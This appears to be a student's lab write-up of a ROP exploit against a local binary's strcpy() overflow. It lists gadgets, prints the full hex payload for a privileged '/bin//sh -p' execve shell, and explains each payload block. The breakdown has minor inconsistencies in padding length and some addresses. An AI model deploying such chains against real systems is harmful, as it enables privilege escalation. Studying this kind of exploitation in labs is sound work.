

## Part 4 Documentation

### *Methodology and Thought Process:*

**Buffer Overflow:** Like the previous parts, the buffer overflow vulnerability in `test` (`strcpy()`) was exploited to achieve the specified goal; however, for this part, a system call `execve()` needed to be executed to obtain a shell with admin privilege. As a result of DEP (inexecutable stack), the typical approach for achieving this by injecting shellcode and overwriting the EIP to read our code would not work on its own, so ROP was used instead.

For the overall process of constructing the ROP chain, I used *Ropper* to find suitable gadgets for controlling the register values, modifying data in memory (write-what-where) and getting zero bytes (`xor`), since `\0` can signal termination of the payload string prematurely.

Below are the main gadgets used:

<code>pop eax; ret</code>	← Control <code>eax</code> (placeholder for strings)
<code>pop ebx; ret</code>	← Control <code>ebx</code> (store <code>"/bin//sh"</code> )
<code>pop ecx; pop ebx; ret</code>	← Control <code>ecx</code> (padding to prevent writing <code>ebx</code> )
<code>xor eax, eax; ret</code>	← Get zero (writing zero bytes in memory)
<code>inc eax; ret</code>	← Increment <code>eax</code> (store <code>0xb</code> in <code>eax</code> by <code>+1</code> 's for <code>syscall</code> )
<code>mov [edx], eax; ret</code>	← Write to memory (for writing values in mem.)
<code>int 0x80</code>	← System call ( <code>execve</code> )

### *Input Provided to Binary (Exploit Payload):*

```

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"$'\x3A\xEA\x06\x08\x60\xA0\x0E\x08\x56\xB0\x0B
\x08'"/bin"$'\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x64\xA0\x0E\x08\x56\xB0\x0B\x08
'"/sh"$'\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x68\xA0\x0E\x08\x50\x44\x05\x08\x6D
\xA3\x09\x08\x3A\xEA\x06\x08\x69\xA0\x0E\x08\x56\xB0\x0B\x08' "-pXX"$'\x6D\xA3
\x09\x08\x3A\xEA\x06\x08\x6B\xA0\x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\x3A\
xEA\x06\x08\x6F\xA0\x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x
78\xA0\x0E\x08\x56\xB0\x0B\x08\x60\xA0\x0E\x08\x6D\xA3\x09\x08\x3A\xEA\x06\x0
8\x7C\xA0\x0E\x08\x56\xB0\x0B\x08\x69\xA0\x0E\x08\x6D\xA3\x09\x08\x3A\xEA\x06
\x08\x80\xA0\x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\x3A\xEA\x06\x08\x84\xA0\
\x0E\x08\x50\x44\x05\x08\x6D\xA3\x09\x08\xC9\x81\x04\x08\x60\xA0\x0E\x08\x61\x
EA\x06\x08\x78\xA0\x0E\x08\x60\xA0\x0E\x08\x3A\xEA\x06\x08\x6C\xA0\x0E\x08\x5
0\x44\x05\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08
\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x8F\xB4\x07\
x08\x8F\xB4\x07\x08\x8F\xB4\x07\x08\x01\x95\x04\x08'

```

Some Explanation of the Payload Structure (*Alternated colors for readability*):

### Payload snippets

"AAAAAAAAAAAAAAAAAAAAAAAAAAAA"

\x3A\xEA\x06\x08\x60\xA0\x0E\x08  
\x56\xB0\x0B\x08"/bin"\x6D\xA3\x  
09\x08

\x3A\xEA\x06\x08\x64\xA0\x0E\x08  
\x56\xB0\x0B\x08"/sh"\x6D\xA3\x  
09\x08

\x3A\xEA\x06\x08\x68\xA0\x0E\x08  
\x50\x44\x05\x08\x6D\xA3\x09\x08

\x3A\xEA\x06\x08\x69\xA0\x0E\x08  
\x56\xB0\x0B\x08"-pXX"\x6D\xA3\x  
09\x08

\x3A\xEA\x06\x08\x6B\xA0\x0E\x08  
\x50\x44\x05\x08\x6D\xA3\x09\x08  
\x3A\xEA\x06\x08\x6F\xA0\x0E\x08  
\x50\x44\x05\x08\x6D\xA3\x09\x08

\x3A\xEA\x06\x08\x78\xA0\x0E\x08  
\x56\xB0\x0B\x08\x60\xA0\x0E\x08  
\x6D\xA3\x09\x08

\x3A\xEA\x06\x08\x7C\xA0\x0E\x08  
\x50\x44\x05\x08\x6D\xA3\x09\x08

\x3A\xEA\x06\x08\x7D\xA0\x0E\x08  
\x56\xB0\x0B\x08\x69\xA0\x0E\x08  
\x6D\xA3\x09\x08

\x3A\xEA\x06\x08\x81\xA0\x0E\x08  
\x50\x44\x05\x08\x6D\xA3\x09\x08  
\x3A\xEA\x06\x08\x85\xA0\x0E\x08  
\x50\x44\x05\x08\x6D\xA3\x09\x08

\xC9\x81\x04\x08\x60\xA0\x0E\x08

### Explanation/Pseudo-code

Initial buffer overflow (A · 29)

Writing /bin to memory (pop edx with  
address; pop eax with '/bin'; mov  
[edx], eax;

Writing //sh to memory (pop edx with  
address; pop eax with '//sh'; mov  
[edx], eax;

Writing \0 after '/bin//sh'

Writing -p to memory (pop edx with  
address; pop eax with '-pXX'; mov  
[edx], eax;

Padding with zeros to ensure reading -p  
string ends at proper area

args[0]: Writing pointer to '/bin//sh'  
using same write-what-where procedure  
as before

Writing \0 after first element of array

args[1]: Writing pointer to '-p' using  
same write-what-where procedure as  
before

Writing NULL to memory (null-terminate  
array)

Storing '/bin//sh' into ebx for syscall

\x61\xEA\x06\x08\x78\xA0\x0E\x08  
\x60\xA0\x0E\x08

\x3A\xEA\x06\x08\x6C\xA0\x0E\x08

\x50\x44\x05\x08\x8F\xB4\x07\x08  
\x8F\xB4\x07\x08\x8F\xB4\x07\x08  
\x8F\xB4\x07\x08\x8F\xB4\x07\x08  
\x8F\xB4\x07\x08\x8F\xB4\x07\x08  
\x8F\xB4\x07\x08\x8F\xB4\x07\x08  
\x8F\xB4\x07\x08\x8F\xB4\x07\x08

\x01\x95\x04\x08

Storing pointer to array in `ecx` for `syscall`  
(and padding without overwriting `ebx`)

Storing `0x0` in `ecx` for `syscall`

Storing `0xb` in `eax` for `syscall` (set to zero  
with `xor eax, eax`; and increment by 1  
using `inc eax`; until reaching `0xb`)

Syscall `execve` with registers prepared